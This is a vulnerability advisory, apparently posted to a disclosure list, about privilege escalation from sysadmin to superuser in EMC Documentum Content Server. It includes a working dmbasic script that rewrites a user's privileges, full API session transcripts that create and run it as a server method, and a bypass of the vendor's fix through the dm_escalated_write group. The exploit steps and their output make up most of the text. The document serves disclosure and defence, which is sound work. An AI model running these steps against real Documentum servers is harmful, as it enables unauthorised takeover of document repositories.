EMC Documentum Content Server Privilege Escalation

`Product: EMC Documentum Content Server  
Vendor: EMC  
Version: ANY  
CVE: N/A  
Risk: High  
Status: public/not fixed  
  
In 2011 Yuri Simone discovered a security flaw in EMC Documentum Content   
Server, which allows users with sysadmin privileges to elevate their   
privileges to superuser (see CVE-2011-4144). On April 2014 I discovered   
another set of vulnerabilities related to CVE-2011-4144 (see attached   
VRF#HUDHKNW4.txt). On September 2014 vendor announced a fix (see   
CVE-2014-4622) for the first only vulnerability from VRF#HUDHKNW4.txt (check   
row 5 in CERT's spreadsheet for VU#315340   
(http://www.kb.cert.org/vuls/id/315340)). Yesterday vendor announced a new   
fix (see CVE-2015-4531) related to VRF#HUDHKNW4.txt. Besides the fact that   
CVE-2015-4531 has a completely wrong description, CVE-2015-4531 does not   
introduce any security fixes. I believe that there are about a dozen of   
options to elevate privileges from sysadmin to superuser, but I'm going to   
describe the most obvious one.  
  
1. If attacker is able to create (or modify) docbase method (object with   
dm_method type) he is able to elevate his privileges through executing this   
method, example:  
  
cat > test.ebs  
Const CONNECTION_ERROR As Integer = 33  
  
Sub rmain(d As String, u As String, g As String)  
s$ = dmAPIGet("connect," & d & "," & u & ",")  
  
If s = "" Then  
dmExit(CONNECTION_ERROR)  
End If  
  
q$ = "update dm_user objects" & _  
" set user_privileges=16" & _  
" where user_name='" & g & "'"  
  
s=dmAPIExec("execquery," & s & ",T," & q)  
  
End Sub  
  
  
API> create,c,dm_method  
...  
10024be98001f92d  
API> set,c,l,object_name  
SET> test  
...  
OK  
API> setfile,c,l,test.ebs,crtext  
...  
OK  
API> set,c,l,method_verb  
SET> ./dmbasic -ermain  
...  
OK  
API> set,c,l,run_as_server  
SET> T  
...  
OK  
API> set,c,l,use_method_content  
SET> T  
...  
OK  
API> set,c,l,method_type  
SET> dmbasic  
...  
OK  
API> save,c,l  
...  
OK  
API> retrieve,c,dm_user where user_name='test'  
...  
11024be980000e8a  
API> get,c,l,user_privileges  
...  
0  
API> apply,c,,DO_METHOD,METHOD,S,test,  
ARGUMENTS,S,'repo dmadmin test'  
...  
q0  
API> retrieve,c,dm_user where user_name='test'  
...  
11024be980000e8a  
API> get,c,l,user_privileges  
...  
16  
  
2. for the reason mentioned above regular users are unable to create or   
modify docbase methods:  
  
API> create,c,dm_method  
...  
10024be98001f954  
API> save,c,l  
...  
[DM_METHOD_E_NEED_PRIV_FOR_CHANGE]error: "The current user (test)  
needs to have superuser or sysadmin privilege to save or destroy   
dm_method object."  
  
3. But sysadmins were able to create docbase methods. Now if sysadmin tries   
to create docbase method it gets following error:  
  
API> create,c,dm_method  
...  
10024be98001f968  
API> set,c,l,object_name  
SET> test1  
...  
OK  
API> setfile,c,l,test.ebs,crtext  
...  
OK  
API> set,c,l,method_verb  
SET> ./dmbasic -ermain  
...  
OK  
API> save,c,l  
...  
[DM_SYSOBJECT_E_LINK_PERMIT2]error: "Linking or unlinking to the folder  
'/System/Methods' failed on sysobject '10024be98001f968'.  
WRITE permit is required on the folder, when using folder security."  
  
4. So, it is obvious that remediation provided by vendor relies on ACL   
restrictions for /System/Methods folder, the problem is vendor does not take   
into account that Content Server has a set of groups which allow to bypass   
ACL restrictions and are still manageable by sysadmin users, example:  
  
API> ?,c,alter group dm_escalated_write add testadmin  
  
API> create,c,dm_method  
...  
10024be98001f969  
API> set,c,l,object_name  
SET> test1  
...  
OK  
API> setfile,c,l,test.ebs,crtext  
...  
OK  
API> set,c,l,method_verb  
SET> ./dmbasic -ermain  
...  
OK  
API> save,c,l  
...  
OK  
  
  
  
__  
Regards,  
Andrey B. Panfilov   
`